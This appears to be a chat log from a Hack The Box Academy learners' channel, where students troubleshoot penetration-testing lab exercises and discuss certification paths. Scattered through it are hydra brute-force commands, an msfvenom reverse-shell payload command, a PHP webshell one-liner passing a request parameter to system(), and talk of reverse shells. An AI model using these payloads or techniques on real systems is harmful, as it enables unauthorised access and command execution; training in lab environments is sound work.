mossy nest
#

You're saying that nishang is better to do powershell revshell than the website revshells ?

#

It looks like nishang mainly propose the antak webshell

vital adder
#

or you can try hoaxshell, powershell revshell on that site (revshells.com) never work for me btw

mossy nest
#

Well just worked after few hours and reset... But still can't know why it didn't work before

#

Thanks for the info !

vital adder
sly dome
#

also it has reverse using ICMP protocol for situations where outbound tcp traffic is not allowed

mossy nest
#

Well, after few examination, powershell converted in b64 from revshells.com didn't work cause the b64 added a space before my IP...

sly dome
#

remember powershell works in utf-16

#

you need to convert from utf8 to utf16 then to base64

#

but you said from powershell to powershell, why do you need encoding here?

mossy nest
#

Well it was for the pass the ticket of the password attack module

#

Well it was for the pass the hash of the password attack module

#

You had to use a hash to execute a powershell script from another target in the domain

#

By the way if I can ask a quick question, does anyone really take 8hours to finish the password attacks module ? It take me about 14 hours and still didn't finish.

#

The time scheduled by hack the box academy seems to always be divide by 2 or 3

sly dome
#

it really depends on the individual

#

introduction to windows command line is scheduled for 4 days and it took me ~12 hours

#

because i had background before starting it

#

i think the team behind the academy content creation calculate the time with the assumption that the student has minimal or zero knowledge of the subject

mossy nest
#

Well I guess I pass to much time doing rockyou brute force when I would need to work mostly with the ressources given by htb

#

Thank's for your review

sly dome
torn raft
#

Hello everyone,

toxic blade
#

Could I get a nudge with 'attacking common services: MAIL'? I've enumerated the user as per Q1 and am now working on getting the user's password. Brute forcing with hydra and the provided password list but it's completing in seconds even though its 333 passwords and showing '0 valid passwords' for the user. Currently running a rockyou brute as well but the pwnbox isn't quick when it comes to such large wordlists... I know i'm on the right track but i'm very confused to why the brute is coming back without any results. hydra syntax I'm using: || 'hydra -l user -P ./pws.list 10.129.255.254 pop3' || I've also used the syntax with|| pop3://10.129.255.254/|| with the same results.

Edit: NVM I got it... needed to add the domain name to the user... e.g. user@inlanefreight.htb

languid fjord
#

@violet umbra

vital adder
pale oriole
#

Need some help on AD Enumeration & Attacks Skills Assessment part 2. On the very last two questions where I need to get access to DC01. I see that the port for evil-winrm is open, but nothing connects. I can evil-winrm into MS01, but can't RDP and I believe that I need to eventually RDP into DC01. Any help would be greatly appreciated

toxic blade
vital adder
#

also hint look at some of the 9 Q that Q hint a user we got have a sus right over DA

vital adder
fiery berry
#

In "Attacking Enterprise Network" module "Web Enumeration & Exploitation" upon log to the WP instance I get a "502 Proxy Error" anyone had the same problem?
Edit: Solved

pale oriole
fiery berry
pale oriole
fiery berry
vital adder
#

or when running xfreerdp did you use sudo?

pale oriole
#

Still doesn't work with sudo

vital adder
#

maybe restart the pwnbox

pale oriole
#

nevermind...gave wrong password and got same error

thin bloom
#

guys need help i cant find the answ to this Find and submit the contents of the TXT record as the answer. i have tired like a week please just give me the answer to this task

#

the module is Active Subdomain Enumeration

orchid pine
#

yo guys

#

how can i connect to stmp server and use cred to login i tried this so far

#

Trying 10.129.61.209...
Connected to 10.129.61.209.
Escape character is '^]'.
220 WIN-02 ESMTP
EHLO inlanefreight.htb
250-WIN-02
250-SIZE 20480000
250-AUTH LOGIN PLAIN
250 HELP
AUTH LOGIN PLAIN
334 UGFzc3dvcmQ6

#

any help

misty current
pale oriole
misty current
#

Yup, you can't rdp like that.

#

That's why it was asking you to check the DISPLAY env variable.

pale oriole
#

lol, doubtful I will forget that tidbit again 🥲

misty current
#

Since it's a different machine, and you're trying to xfreerdp inside that. You need to have that machines GUI or It won't pop the RDP.

orchid pine
#

never mind guys some googling is useful

timber shore
#

what am doing wrong?


Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\pipe\SQLLocal\SQLEXPRESS01
  Error getting security:
  All pipe instances are busy.
No matching objects found.

PS C:\Users\htb-student\Desktop>gci \\.\pipe\

    Directory: \\.\pipe\SQLLocal


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------       12/31/1600   4:00 PM              3 SQLLocal\SQLEXPRESS01```
lusty thicket
ember blaze
#

Hi, im new here and im doing the Footpriting lab. I already mount de nfs and i enter the nfs fille but is just a bunch of tcikkets. am i in wrong path?

orchid pine
#

┌──(shadowalker㉿kali)-[~/Downloads]
└─$ hydra -l fiona@inlanefreight.htb -P pws.list -f 10.129.26.242 smtp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-20 13:37:36
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 333 login tries (l:1/p:333), ~21 tries per task
[DATA] attacking smtp://10.129.26.242:25/
[ERROR] all children were disabled due too many connection errors

#

why its too many errors

#

is my syntax

#

bad

lusty thicket
tawdry vapor
#

Hey guys, could someone give me some brief help on the ATTACKING COMMON SERVICES lab easy module? I'm trying to upload a shell.

#

When running the cmd=___ from the site in firefox, I am only able to run 'whoami' and 'dir' and 'more' doesn't work.

rare tide
#

I am planning out the Penetration Tester Job Role Path.

How many hours is it? All i see on the site is "43 days"

lusty thicket
#

or less

orchid pine
rare tide
#

@sly dome thank you. I thought so but didn't want to assume

scarlet iris
#

Hello,
I'm doing PIVOTING, TUNNELING, AND PORT FORWARDING part: Meterpreter Tunneling & Port Forwarding

I created payload with command
||msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 -f elf -o backupjob2 LPORT=8081||
Started meterpreter listener and transferred file to ubuntu machine
When I run ./backujob2 I go error Segmentation fault (core dumped)
and on my attacker machine I have : 10.129.17.43 - Command shell session 4 closed.

Can anyone tell me whats the problem ?

woven copper
#

how did you transfer ?

sly dome
#

always an individual perspective coz it depends on how many hours you’re dedicating to it per day

#

im already doing 10h/day

#

i don’t get your point xD

#

if someone is a beginner but he learns real quick new stuff and also is putting >8h/day

#

he will be able to finish it in a month or less

#

you cant measure how long a course will take

#

you can estimate and they did with the 43 days

#

but the content of the path is not extremely dense or difficult imho

#

its somewhat intermediate

sly kelp
#

And don't forget if you know foundational knowledge. It can save so many hours

sly dome
#

also do infosec foundations as path description advises

sly kelp
#

Don't forget to learn how to use

LIGOLO-NG

#

It can save 20-30 hours

sly dome
#

way better than chisel, for me is the best pivoting tool

acoustic owl
# sly kelp It can save 20-30 hours

I don't know if it was user error or Ligolo-NG error, but with both Dante and Offshore I often saw people using Ligolo-NG and then things not working. Once they started using Chisel, it worked without problems.
So it may as well cost you a lot of extra hours.

sly dome
#

?

#

how can it be tool error

#

thats weird

acoustic owl
#

Yes, but since it affected multiple people, I really don't know if it was the user.

sly kelp
sly dome
#

i can’t see the logic behind being tool fault

sly kelp
#

Mass Human error ?

sly dome
#

also weird

sly kelp
#

Get the binary and try to figure out lol

acoustic owl
#

I don't know why certain commands didn't work when they used ligolo ng.

sly dome
#

do you have the references?

orchid pine
#

guys i found an ftp server

#

that connect to a web broweser

#

can i use the ftp to uplaod a php file

fathom pendant
#

Perhaps

orchid pine
#

and trigreit from visitiong the web site

fathom pendant
#

Why not just fuck around and find out?

acoustic owl
scarlet iris
# woven copper how did you transfer ?

I noticed error in setting up meterpreter listener,
I dint select payload.
Now its working but sending stage takes forever and does;nt want to finish.
now its stuck :/

fathom pendant
#

Instead of asking

sly dome
#

we will discover xD

fringe shell
orchid pine
#

some one know how to upgrdae the shell

#

in winmdows to fully interactive

acoustic owl
#

What exactly do you mean by full interactive?
How did you create your webshell? What exactly does this thing do?

smoky jackal
#

not sure if this is the right place to ask a small question;
I'm doing a task which wants me to put the hash as an answer, I get the hash but it says "incorrect answer"?

acoustic owl
#

If it's an Academy module, you're absolutely right. But you need to provide some more information
Which module?
Which section?
Which question?
What did you do, or what does not work?

Make sure there is no space at the beginning or at the end of the hash.

smoky jackal
#

Linux File Transfer Methods
Linux section;
I've SSH'd into the machine which has the zip file, typed "hasher [zip file]", received the hash but still says incorrect answer

#

nvm, am idiot, still trying to learn HTB.
Only other question, is RDP sessions always unstable with HTB?

acoustic owl
#

This Question?

Upload the attached file named upload_nix.zip to the target using the method of your choice. Once uploaded, SSH to the box, extract the file, and run "hasher <extracted file>" from the command line. Submit the generated hash as your answer.

smoky jackal
#

Yeah, thats my bad, skipped over the "unzip" part.

#

the previous section where you have to RDP into the session, I cant seem to get a stable connection, I've got a VPN connection but it connects me, few seconds later the connection drops.
Same module.
Section: Windows File Transfer Methods

orchid pine
#

i used my sql

acoustic owl
orchid pine
#

to write a php file into the web dir

#

i got the shell back but only two cmndsworking whoami and dir

#

im trying to upgrade the shell

acoustic owl
smoky jackal
#

Will give tcp a shot, cheers for the help PayloadBunny!

orchid pine
orchid pine
#

to inject another reverse shell to my machine

#

cuz now im confused how can i get the flag

acoustic owl
#

Yes, you can try to create an exe and upload it there. But the question is, why?

You only have to read out the flag 🙂 You can do that with a PHP webshell without problems.

acoustic owl
#

You don't need to.

orchid pine
#

i need to reaad the flag

acoustic owl
#

As I said, with the webshell you can execute exactly one command and then you are back to the original state.

orchid pine
#

or try another web sheel

acoustic owl
#

Yes, brutally complicated, but works 🙂
With this you can send a command and are then back in the original state

#

For example, you can take a look at the C:\ drive.
dir c:\

#

If there is a flag, you can view it like this:
more c:\flag.txt

orchid pine
#

what about this error ──(shadowalker㉿kali)-[~/easy]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.129 LPORT=4444 -f exe > payload.exe
Error: unloadable payload: windows/meterpreter/reverse_tcp

orchid pine
#

still i want to learn how to upgrade the shell in windows for the first time

sly dome
#

there is no equivalent in Windows of upgrade a tty fromLinux

#

the most you have is conptyshell

#

from the one and only Antonio Cocomazzi

acoustic owl
orchid pine
#

even tho like uplaoding an exe inside thi session

sly dome
#

its not a webshell right? you received it via netcat

smoky jackal
#

TCP fixed the connection issues PayloadBunny ^^ thanks for that.

sly dome
#

but if you have access to MariaDB you have access to the system itself

#

what u tryna do?

#

you could read the flag from MariaDB

#

i think you are trying to complete advanced topics for which you dont have the fundamentals yet

orchid pine
#

yes

#

they showed us how to write files with my sql

#

then we need to do this

#

its attack common services easy lab

acoustic owl
orchid pine
#

like this <?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>

acoustic owl
#
<?php system($_GET['cmd']); ?>
orchid pine
#

i tried it btw 🙂

#

i didnt knwo that i need to use ?cmd=

acoustic owl
#

This script says take the GET parameter cmd and pass the value to system

#

instead of cmd you can enter whatever you want here.

#
<?php system($_GET['shadowexe13']); ?>

Then you can use it like this:
yourfile.php?shadowexe13=ls

sly dome
orchid pine
sly dome
#

cool, use it

orchid pine
#

lool

sly dome
#

ofc you have to know the path of the flag

orchid pine
#

yeah

sly dome
#

easy?

orchid pine
#

yeah

#

one line

sly dome
#

xD

sly dome
#

more Google !!

acoustic owl
sly dome
#

nice !

#

btw was it guessable? 🤣

acoustic owl
orchid pine
#

thank you so much guys

#

bouth of you

sly dome
#

guessing is a nice skill for a pentester

orchid pine
#

im lokking for the flag path

sly dome
#

no problem dude

acoustic owl
#

If I remember correctly, it is a standard path. ||User directory or Admin directory. Desktop or Documents Folder ||

orchid pine
#

guys that enough for me today thank you i learned something new thanks guys for your help my head hurts

sly dome
#

Module INTRODUCTION TO BASH SCRIPTING, section Flow Control - Loops

#

should we add this to erratum?

#

or is that intended, i think no because they teaching us the ${#var} syntax

acoustic owl
sly dome
#

kk

viscid wave
#

Hey guys, got a little question, so I did a lot of box this 3-4 days, maybe 10. And I realize that now that I am at the 10 I forgot what i did in the 1st one. Is it normal ?

#

(Idk if its the good chanel to ask those question)

lusty thicket
#

and it does not include the new line

rotund crater
#

Heyooo peepes

#

Who's in charge her of the modules for CPTS? I'd like to report a typo

acoustic owl
rotund crater
acoustic owl
slender shoal
#

That do be why bunny do the bunnying

rotund crater
slender shoal
rotund crater
#

I have started with some HTB Respect points for now @acoustic owl

rotund crater
slender shoal
#

👌

viscid wave
sly dome
livid glade
#

Hey can you use your own vm to connect to htb academy targets?
I dont see any vpn file to download and it seems like you have to use the pwnbox.

acoustic owl
sly dome
#

you should read the comments i added to my screenshot before commenting!!

acoustic owl
livid glade
#

omg thank you so much, you're a champion ❤️

viscid wave
acoustic owl
slender shoal
#

It's too late when the spoons kill you

acoustic owl
slender shoal
onyx rapids
#

Anyone want to work on MODERN WEB EXPLOITATION TECHNIQUES - Final Skills Assessement?

I got the first flag easily, but I'm stuck on the rest

acoustic owl
#

With this, you should easily find a way to answer question three

onyx rapids
slender shoal
#

That a tier 3 module?

#

Or cbbh

onyx rapids
acoustic owl
acoustic owl
ionic brook
#

Best vpn quality price ?

acoustic owl
foggy brook
#

is there anyone who did the ad skillls lab part 2 that can help me?

sly dome
#

HAHAHA this is just 2 good

thorn urchin
#

hey now, nano just works

#

ctrl-x -> y is only thing you need to know

slender shoal
#

Vim is best

foggy light
#

Module: Blind SQL Injection

For some reason Im getting this error. Cant interact with mssql

mssqlclient.py thomas:'TopSecretPassword23!'@10.129.80.96 -db bsqlintro

Anyone know the fix?

slender shoal
#

I like dbeaver

woven copper
slender shoal
#

Dbeaver is life

fathom pendant
steel lake
#

Hi folks 👋 , I'm doing the "AD Administration: Guided Lab Part I" lab in the Academy. I'm trying to connect to the Windows machine from the HTB Parrot workstation:

$ xfreerdp /v:IP /u:USER /p:PASS
[07:41:09:641] [4505:4506] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[07:41:09:641] [4505:4506] [WARN][com.freerdp.crypto] - CN = ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[07:41:10:944] [4505:4506] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[07:41:10:944] [4505:4506] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[07:41:10:959] [4505:4506] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[07:41:10:960] [4505:4506] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx

The xfreedrp window opens, but the screen remains black. I tried resetting the target machine a few times. I also tried connecting using my Kali VM using the HTB VPN, but the result is the same. Any idea how to troubleshoot this?

steel lake
novel shoal
fiery berry
novel shoal
#

someone told me to restart the windows but idk how on rdp

fiery berry
#

Why do you need the admin password and not the one for the current user you have added (if you did set a password)

novel shoal
harsh wren
#

hi i have a problem in broken authentication module/ brute forcing username/second assessment

#

i tried much things but i can't reach the solution

novel shoal
harsh wren
#

i tried brute forcing with hydra and zap and i watched responses and i didn't got any thing

iron plaza
#

Any info on when the HTB backend issue will be solved? Been stuck on the Active Directory Enumeration & Attacks module for a while now cause RDPing is next to impossible unless you get in by chance. Otherwise connection fails right after the password

autumn pilot
#

reach out to support to make them aware of any issues you are having

rustic sage
#

Hello everyone, im looking for text editor that runs on command prompt or powershell and its native to windows like nano in linux, somebody know something?

rustic sage
#

i have to install it...

#

think i no have internet connection

coarse void
rustic sage
#

i have i script and i want to edit it, i dont have gui

coarse void
#

what situation are you in

#

if you have connection to your attack host maybe you could edit the file from local and transfer it back?

rustic sage
coarse void
#

you could checkout the file transfer module

#

lots of methods metioned

rustic sage
#

Ok, thanks

coarse void
#

np

ivory wren
#

Hi 👋 anyone can point me in the right direction on Predictable Reset Token Q1... I'm getting the time from the web app after triggering via the script a new token, the value is parsed like ||time.mktime(time.strptime(timestamp,'%Y-%m-%d %I:%M:%S%p'))*1000|| the token is generated like ||user+str(time_value)|| and hashed with md5, all this in the range of epoch +-1001

At this point i'm not even sure if I spelt htbadmin correctly 😂

obtuse fiber
#

Module: Attacking Enterprise Networks
Chapter: Web Enumeration & Exploitation
Question: Register an account and log in to the Gitlab instance. Submit the flag value (flag format : HTB{}).
Issue: whenever I try to register it gives me an error telling me that an administrator need to approve my request and when I explore the public repository I can't see any projects in it, not sure what I'm doing wrong.
Fix: worked after restarting the box which I find it to be very weird

viscid wave
#

Guys what do you recommend me to do after the « starting point ».

brave timber
#

as even if you might know some of them they still offer some good POV and examples coming from real pentesters

glossy trail
#

hey @viscid wave were you able to do those without hint and walkthroughs?

vital adder
cedar void
#

For the first question of the MSSQL section in the Footprinting module I don;t know why I keep getting this error everytime I type out this command:
https://academy.hackthebox.com/module/112/section/1246
"sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
"

mortal echo
#

Hey guys

cedar void
fathom pendant
#

Read very carefully

#

It's a version issue

cedar void
#

I see. what pwnbox do I use if the default is 7.93

sly dome
#

downgrade to 7.92

#

i posted several solutions

cedar void
#

how do I downgrade to 7.92

sly dome
#

dude

#

use a bit of Google or search in this chat

#

you are training to be a pentester you have to develop this skill

#

of finding out stuff by yourself

fathom pendant
#

Found in .5 seconds using discord's search feature

sly dome
#

thanks @fathom pendant

fathom pendant
#

Pretty neat

#

All I did was type
from:@rafaaaaa98 7.92 since he said he posted a solution

#

Crazy how simple and easy search features are

sly dome
#

i have to ask to myself how are people reaching advanced modules like the mssql one

#

“advanced” you know

cedar void
sly dome
#

?

#

you asked “how do i downgrade”

cedar void
#

And the I 'googled' . Thats what I do

sly dome
#

nice job then

fathom pendant
#

Most people dont

#

¯_(ツ)_/¯

sly dome
#

its a little annoying when people ask without trying

fathom pendant
#

It's fairly reasonable given the track record of people that ask those types of questions

high reef
#

i'm doing the sections Internal Password Spraying - from Linux

#

i logged in and i dont see a text file called valid_users.txt to do passwprd spraying

#

was i suppose to create the text file ?

fiery berry
fathom pendant
#

Valid_users.txt would be the file you create... to uh... you know keep track of valid users...

viscid wave
fathom pendant
#

This really isn't the place for that conversation lol

fathom pendant
viscid wave
glossy trail
obtuse fiber
#

Module: ATTACKING COMMON APPLICATIONS
Chapter: Exploiting Web Vulnerabilities in Thick-Client Applications
Question: What is the IP address of the eth0 interface under the ServerStatus -> Ipconfig tab in the fatty-client application?
Issue: after modifying the port from 8080 to 1337, removing the hashes from META-INF/MANIFEST.MF and deleting the 1.RSA and 1.SF files from the META-INF directory I can't see the open button in the bottom of the program, any idea what I'm missing ?

sly kelp
#

Is any new Advance web Certificate coming soon from HTB ?

#

All these recent Modules related to Websec kind of give hint about that

acoustic owl
acoustic owl
rustic sage
#

Hello everyone i want to learn topics like htb challeges (forensics, web, crypto, reversing...) but i no have idea, somebody know of any academy or something that i can start learning this topics ? thank all!

rustic sage
#

ok so

#

im doing the very first tutoriali nhack in thbox and i get issue on second and third part

#

Error opening local file worknotes.txt
smb: \Amy.J>

#

smb: \Amy.J> get worknotes.txt
Error opening local file worknotes.txt
smb: \Amy.J>

#

i coudlnt write in pwnbox

acoustic owl
acoustic owl
rustic sage
#

i have access

#

i just couldnt get file, with smb or ftp

#

so i thought i mention that

#

worked fine to ftp , smb into the IP's

sly kelp
sly kelp
acoustic owl
sly kelp
devout torrent
#

😄

acoustic owl
#
  • Modern Web Exploitation Techniques (500 Cubes)
  • Secure Coding 101: JavaScript (1000 Cubes)
  • Whitebox Pentesting 101: Command Injection (500 Cubes)
  • Introduction to Deserialization Attacks ( 500 Cubes)
  • Attacking Authentication Mechanisms ( 500 Cubes)
  • Introduction to NoSQL Injection ( 500 Cubes)
  • Blind SQL Injection ( 500 Cubes)
  • HTTPs/TLS Attacks ( 500 Cubes)
  • Advanced SQL Injections ( 500 Cubes)
  • Abusing HTTP Misconfigurations ( 500 Cubes)
  • HTTP Attacks (500 Cubes)
  • Injection Attacks (500 Cubes)
  • Whitebox Attacks (500 Cubes)
  • Application Logic Flows (not published yet)
analog dock
#

I’m saving up cubes already

devout torrent
acoustic owl
#

But yes, actually I would like to take the exam soon.
I was one of the first at the CBBH, also at the CPTS and who knows, maybe also at the CDSA

devout torrent
#

Think you just passed cpts when i started my path :D. 8 months later im still no cpts, im planning to take it on monday one last hoora before starting new job

devout torrent
#

I owe htb everything for making such and advance course i was ablr to learn everythinng sistematicly though cbbh and cpts for other more expencive courses 😄 so ionly needed to do the exam :p

sly kelp
#

That's cool

#

I was not having a structure of learning until academy came and it saved me from wasting my time on things that were not helpful but rather kept me busy

#

I hope price point is same for next certificates

tidal kelp
#

Having som issues with the Metasploit module.
On the one called Modules > choosing the exploit > setting the RHOSTS but get stucks with "Exploit completed, but no session was created." . AM i missing something obvious?

sly dome
#

7000 cubes

thorn urchin
#

its a hypothetical path

#

not real yet

sly dome
#

oh ok ok

#

like CBBH "extreme"

#

?

sly kelp
#

7000cube almost 600$-700$

#

If am not wrong

sly dome
#

not that much tho

sly kelp
sly dome
#

also taking into account you get cubes back

#

500 is actually 400 and 1000 is actually 800

#

iirc

#

its 5600 cubes

sly kelp
#

So

#

Hypothetically what would be the price for this

sly dome
#

not that expensive if we compare it with OSWE XD!!!

sly kelp
sly dome
#

HAHAHAHA

#

maybe they add a new annual plan

sly kelp
#

I would be happy putting my money on HTB

sly dome
#

Gold annual / Platinum annual

sly kelp
#

Rather than Offsec

sly dome
#

but OSCE3 is king

sly kelp
#

Finding job could be hard but let's see

sly dome
#

and OSEE is a one-kind cert xD

#

every1 in this community hopes HTB certs get more appreciation

devout torrent
#

if you have time and energy you get learn unlimited for year its 5000 but you can do all offsec certs and unlimited repeates 😄 for a year

sly dome
#

true

devout torrent
#

Well all but exp 401 in offsec

#

Thats another 15k

#

Plus travel expenses

sly dome
#

OSEE is a fkn dream l0l

thorn urchin
#

though ngl, I kinda wish they just had a more straightforward exam bundle for their courses.

just a flat "These modules needed are unlocked, heres a voucher, go"

#

then if they did a more advanced course they could discount it a bit to a more reasonable price if you got the exam bundle

sly dome
#

they're for sure working on it

#

lets see how it goes

craggy zinc
#

hello guys 🙂 i found abt hackthebox like a month ago and just started rn is there like a way to get more time in the linux thing?

sly dome
#

paying

craggy zinc
#

any other

granite wagon
#

....

sly dome
#

no